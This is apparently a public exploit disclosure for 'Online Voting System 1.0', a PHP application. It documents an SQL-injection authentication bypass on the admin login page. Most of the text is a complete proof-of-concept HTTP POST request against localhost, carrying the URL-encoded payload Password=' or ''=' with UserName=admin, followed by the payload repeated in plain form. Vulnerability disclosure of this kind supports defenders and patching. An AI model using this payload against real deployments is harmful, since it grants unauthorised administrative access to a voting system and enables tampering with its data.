# Exploit Title: Online Voting System 1.0 - Authentication Bypass (SQLi) # Exploit Author: deathflash1411 # Date 30.06.2021 # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html # Version 1.0 # Tested on: Ubuntu 20.04 #################### # Proof of Concept # #################### POST /Online_voting_system/admin/ HTTP/1.1 Host: localhost Content-Length: 50 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/Online_voting_system/admin/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a Connection: close UserName=admin&Password=%27+or+%27%27%3D%27&Login= ########### # Payload # ########### UserName=admin Password=' or ''='